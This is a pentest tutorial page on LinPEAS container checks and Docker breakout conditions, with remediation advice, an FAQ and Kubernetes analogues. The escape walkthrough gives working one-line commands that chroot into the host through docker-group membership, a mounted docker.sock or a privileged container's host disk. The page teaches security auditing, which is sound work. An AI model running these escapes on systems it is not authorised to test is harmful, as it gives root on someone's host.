Inside a Docker container, LinPEAS detects the container context and looks for breakout conditions: a mounted Docker socket, the --privileged flag, dangerous capabilities (like CAP_SYS_ADMIN), sensitive host mounts and shared host namespaces. Each is a potential path from container root to host root — test only in your own authorised lab.
What LinPEAS flags in a container#
- A mounted
/var/run/docker.sock— often a one-step breakout to host root. --privilegedmode and dangerous effective capabilities.- Host filesystem paths mounted into the container.
- Shared namespaces (
--pid=host,--net=host) and host device access. - Mounted service-account tokens (also relevant in Kubernetes).
- Writable Docker daemon configuration reachable from inside.
╔══════════╣ Container & breakout enumeration
Looks like you are inside a Docker container
/var/run/docker.sock is mounted!
CapEff includes cap_sys_admin
Privileged mode: yesConfirm the container context manually#
cat /proc/1/cgroup 2>/dev/null | head # docker/lxc strings
ls -la /.dockerenv 2>/dev/null # exists only in Docker
cat /proc/self/mountinfo | grep -i docker # container mounts
capsh --print 2>/dev/null | grep Current # effective capabilities
ls -la /var/run/docker.sock 2>/dev/null # the socket, if mountedDocker escape walkthrough (authorised lab only)#
Build a lab: a Docker host you own, running a deliberately misconfigured container. The four classic escapes LinPEAS checks for:
1. Membership in the docker group
Any user in the docker group can ask the daemon to mount the host filesystem into a new container — equivalent to root on the host:
# as a user in the docker group (lab host you own)
docker run --rm -v /:/mnt -it alpine chroot /mnt sh
# you are now root on the host filesystem via /mnt2. Mounted Docker socket
If /var/run/docker.sock is mounted inside the container, the container can talk to the host's Docker daemon — and launch a new privileged container with the host root mounted:
# inside the container with the socket mounted (lab only)
docker -H unix:///var/run/docker.sock run --rm -v /:/host -it alpine chroot /host sh3. Privileged container
A --privileged container sees host devices. Mount the host's disk device and read or modify the host filesystem directly:
# inside a --privileged container (lab only)
fdisk -l # find the host disk, e.g. /dev/sda1
mkdir /host && mount /dev/sda1 /host
chroot /host sh # host root shell4. Dangerous capabilities (CAP_SYS_ADMIN)
With CAP_SYS_ADMIN (or CAP_DAC_READ_SEARCH), a container can often mount, remount, or escape via namespace manipulation. LinPEAS flags the effective set — verify with capsh --print and test only in your lab.
Container escape = host compromise. Practise these only against Docker hosts you own or lab environments built for it (e.g. a local VM running a deliberately vulnerable container). Never against anyone else's infrastructure.
How to fix container findings (defensive)#
- Never mount
/var/run/docker.sockinto a container — use the Docker API with scoped credentials instead. - Never run
--privilegedin production; add only the specific capabilities a workload needs (--cap-add). - Drop all capabilities by default (
--cap-drop=ALL) and add back minimally. - Run containers as a non-root
USER; enable user namespaces (userns-remap). - Mount filesystems read-only (
:ro) unless writes are required. - Avoid
--pid=host,--net=hostand host device passthrough. - Scan images and re-run LinPEAS inside staging containers after every change.
Frequently asked questions#
Does LinPEAS break out of containers by itself?
No. LinPEAS only detects and reports breakout conditions — a mounted socket, privileged mode, dangerous capabilities. Exploiting any of them is your manual, authorised step.
Is the docker group really equivalent to root?
Effectively yes. Any member can mount the host filesystem into a container they control, which gives full host access. Treat docker-group membership like sudo access when auditing.
What is the single most dangerous container misconfiguration?
A mounted Docker socket (/var/run/docker.sock) — it hands container processes control of the host's Docker daemon, and from there host root is usually one command away. Next is --privileged.
Do these escapes work on Kubernetes too?
The concepts transfer: mounted service-account tokens, privileged pods and hostPath volumes are the Kubernetes analogues. LinPEAS flags mounted tokens; full Kubernetes auditing needs cluster-aware tooling on top.
How do I check my own containers safely?
Run LinPEAS inside a staging copy of the container, review the red/yellow lines, and fix findings in the Dockerfile or compose file — drop capabilities, remove the socket mount, set a non-root USER — then rebuild and re-scan.
Breakout quick-reference matrix#
Every condition LinPEAS checks, how to confirm it by hand, and what it is worth:
| Condition | Confirm manually | Impact if abused |
|---|---|---|
Mounted docker.sock | ls -la /var/run/docker.sock | Host root via a new privileged container |
--privileged | cat /proc/self/status | grep CapEff (full set) | Mount host disks, disable protections |
CAP_SYS_ADMIN | capsh --print | grep Current | Mounts, namespace escapes |
--pid=host / --net=host | ls /proc/ | grep -c '^[0-9]' vs host | See and signal host processes |
| Host path mounts | cat /proc/self/mountinfo | Read/write host filesystem directly |
docker group membership | id / groups | Host root (mount / into a container) |
Kubernetes crossover#
The same ideas apply one layer up. In Kubernetes, LinPEAS flags mounted service-account tokens; the analogues of Docker breakout conditions are:
- Privileged pods — the
--privilegedof Kubernetes; escape like a privileged container. hostPathvolumes — host filesystem mounted into the pod; the host-mount analogue.- Over-permissive RBAC — a token that can create privileged pods is a cluster-admin path.
- hostNetwork / hostPID — the
--net=host/--pid=hostanalogues.
LinPEAS covers the in-container signals; pair it with cluster-aware auditing (RBAC review, Pod Security Standards) for the full picture.
Reading the breakout section line by line#
When LinPEAS prints its container/breakout block, read it like a checklist — each line is a yes/no gate on the way to the host:
- “Inside a Docker container” — context confirmed; every line below is now evaluated as a breakout condition.
- docker.sock mounted — stop here first: this alone is usually sufficient, and it is the quietest path.
- Privileged / CapEff — if the socket is absent, this is your next gate; full capability sets mean device and mount access.
- Host mounts — even without privileged mode, a mounted host path is a direct read/write channel.
- Tokens — in Kubernetes-flavoured environments these pivot you to the API instead of the host.
Work the gates in order and stop at the first sufficient one — there is no prize for chaining three breakouts when one proves the finding. Document the gate that worked and move on to remediation advice.
What “no breakout found” means#
If LinPEAS reports a container context but no breakout conditions, that is a good sign — but read it precisely: it means none of the known automated checks fired. It does not audit your orchestration RBAC, image vulnerabilities, or application-layer flaws inside the container. Treat it as “container hygiene passed”, then continue with the standard Linux triage inside the container.
Read the concepts behind this: containers and namespaces. Broader view: LinPEAS & containers.
Sources & references
- linPEAS README
- PEASS-ng release — reviewed 20260908-dffb9496
- HackTricks: Linux privilege escalation